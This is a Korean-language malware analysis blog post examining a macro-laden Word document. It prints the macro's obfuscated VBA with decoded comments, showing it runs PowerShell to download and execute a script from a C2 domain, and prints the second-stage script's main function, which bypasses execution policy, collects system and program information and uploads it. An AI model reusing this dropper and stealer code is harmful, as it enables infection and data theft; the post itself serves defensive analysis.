악성코드
악성코드가 포함된 워드문서(doc) 분석
kimnampill
2022. 10. 3. 09:16
728x90
반응형
○ 워드 문서를 열람하면 매크로 기능이 포함되어 있는 문서로 확인된다.
○ 매크로 내용을 확인한 결과, 난독화된 소스코드가 확인되며 디코딩하면 아래 표와 같다.
Public Sub Document_Open() Set a = CreateObject("Shell.Application") Dim d f = "vnslajdsladkf" f = Left(f, 5) #vnsla 문자열 추출 d = "pvnslavnslaowvnslavnslavnslaersvnslahelvnslavnslal.evnslaxvnslae" d = Replace(d, f, "") # d 변수 문자열에서 “vnsla”을 공백으로 변경 # d = "powershell.exe" h = "[vnslastvnslarivnslanvnslag]$vnslaf={(Nvnslawrvnslaaevnslaw-Ovnslabjvnslawrvnslaavnslavnslaecvnslatvnsla " h = Replace(h, f, "") # h 변수 문자열에서 “vnsla”을 공백으로 변경 # h = "[string]$f={(Nwraew-Objwraect " n = "Nvnslaewvnslaravnslavnslat.WvnslaebvnslawrvnslaaCvnslalvnslaiwvnslavnslaravnslaewvnslaravnslanvnslat).Dovnslawevnslailvnslasvnslavnsladjvnslafenvnslag" n = Replace(n, f, "") # n 변수 문자열에서 “vnsla”을 공백으로 변경 # n = "Newrat.WebwraCliwraewrant).Doweilsdjfeng" s = "('hvnslatvnslatvnslapvnsla:vnsla/vnsla/vnslauvnslasvnslakvnslaavnslamvnsla.vnslamvnslayvnslaavnslarvnslatvnslasvnslaovnslanvnslalvnslaivnslanvnslaevnsla.vnslacvnslaovnslamvnsla/vnslasvnslaevnsla/vnslaojvnsla.vnslatvnslaxvnslat')" s = Replace(s, f, "") # s 변수 문자열에서 “vnsla”을 공백으로 변경 # s = "('http://uskam.myartsonline.com/se/oj.txt')" j = "};$jvnsla=$vnslafvnsla.Revnslapvnslalavnslavnslacvnslae('vnslawra','');$vnslau=$vnslajvnsla.Rvnslaepvnslalavnslacvnslae('evnslailvnslasdvnslavnslajvnslafvnslae'," j = Replace(j, f, "") # j 변수 문자열에서 “vnsla”을 공백으로 변경 # j = "};$j=$f.Replace('wra','');$u=$j.Replace('eilsdjfe'," k = "'nvnslalovnslaadvnslavnslasvnslatrvnslaivnslavnsla');$xvnsla=ievnslavnslax $vnslauvnsla;ievnslaxvnsla $vnslaxvnsla" k = Replace(k, f, "") # k 변수 문자열에서 “vnsla”을 공백으로 변경 # k = "'nloadstri');$x=iex $u;iex $x" y = h + n + s + j + k # y 변수에 h, n, s, j, k 문자열 합침 # y = "[string]$f={(Nwraew-Objwraect Newrat.WebwraCliwraewrant).Doweilsdjfeng('http://uskam.myartsonline.com/se/oj.txt')};$j=$f.Replace('wra','');$u=$j.Replace('eilsdjfe','nloadstri');$x=iex $u;iex $x" a.ShellExecute d, y, "", "open", 0 # 파워쉘로 스크립트 실행 # a.ShellExecute "powershell.exe", "[string]$f={(Nwraew-Objwraect Newrat.WebwraCliwraewrant).Doweilsdjfeng('http://uskam.myartsonline.com/se/oj.txt')};$j=$f.Replace('wra','');$u=$j.Replace('eilsdjfe','nloadstri');$x=iex $u;iex $x", "", "open", 0 End Sub |
○ 위 [표 2]의 파란색 글자로 표시한 부분은 아래 [그림 2]의 ①과 같으며 ‘Replace’ 함수를 포함하고 있다. 이를 해석하면 ②와 같다.
○ 파워쉘을 통해 C2서버 도메인 ‘uskam.myartsonline.com’에서 ‘oj.txt’ 악성파일을 시스템에 다운로드 받아 실행하는 것이 확인된다.

○ ‘oj.txt’ 파일을 C2서버에서 다운로드 받아 분석한 결과, 파워쉘 스크립트로 확인되며, 아래 [표 3]과 같이 6개의 함수와 기능을 확인하였다.
연번 | 함수명 | 기능 설명 |
1 | decode | C2서버에서 추가로 다운로드 받는 악성코드를 디코딩하여 실행하는 함수 |
2 | UpLoadFunc | ‘Ahnlab.hwp’ 파일 내용을 C2서버에 전송하는 함수 |
3 | FileUploading | ‘Ahnlab.hwp’ 파일이 감염 시스템에 존재하는지 확인하는 함수 |
4 | Download | C2서버에서 추가로 악성파일을 다운로드 받는 함수 |
5 | Get_info | ProgramFiles, C:\Program Files (x86) 폴더 안의 파일목록, 시스템정보, 작업스케줄러 목록을 'Ahnlab.hwp' 파일에 저장하는 함수 |
6 | main | 위 함수들을 실행하는 메인 함수 |
○ 위의 표 연번6 ‘main’ 함수 소스코드는 아래 [표 4]와 같다. main → Get_info → FileUploading → UpLoadFunc → Download → decode 함수순으로 실행되는 것이 확인된다. ‘[사용자계정폴더]\AppData\Ahnlab\’ 경로에 ‘Ahnlab.hwp’ 파일을 생성한 후 감염된 시스템의 프로그램 목록, 시스템 정보, 작업 스케줄러 목록을 탈취하여 C2서버에 전송하는 것을 확인하였다.
function main # 메인 함수 (첫 번재로 동작) { Set-ExecutionPolicy -Scope CurrentUser -ExecutionPolicy Bypass –Force # 외부 스크립트 실행 가능하도록 정책 변경 $FilePath = $env:APPDATA + $LOG_FILEPATH New-Item -Path $FilePath -Type directory -Force $szLogPath = $FilePath + $LOG_FILENAME # 파일 저장경로 : %AppData%Ahnlab\ahnlab.hwp $key = Get-Item -Path $RegKey $exists = $key.GetValueNames() -contains $RegValueName if($exists –eq $False) # AhnlabUpdate 레지스트리가 존재하지 않는 경우 { $value1 = New-ItemProperty -Path $RegKey -Name $RegValueName Get_info $szLogPath # ProgramFiles, C:\Program Files (x86) 폴더 리스트 # 시스템정보, 작업스케줄러 목록을 'ahnlab.hwp'에 저장 } while ($true) # AhnlabUpdate 레지스트리가 존재하는 경우 반복 실행 { FileUploading $szLogPath # 'ahnlab.hwp' 파일 업로드 Start-Sleep -s 10 Download # 추가 악성파일 다운로드 uskam.myartsonline.com/se/oj.down Start-Sleep -s 10 Start-Sleep -s $TIME_VALUE } } |
반응형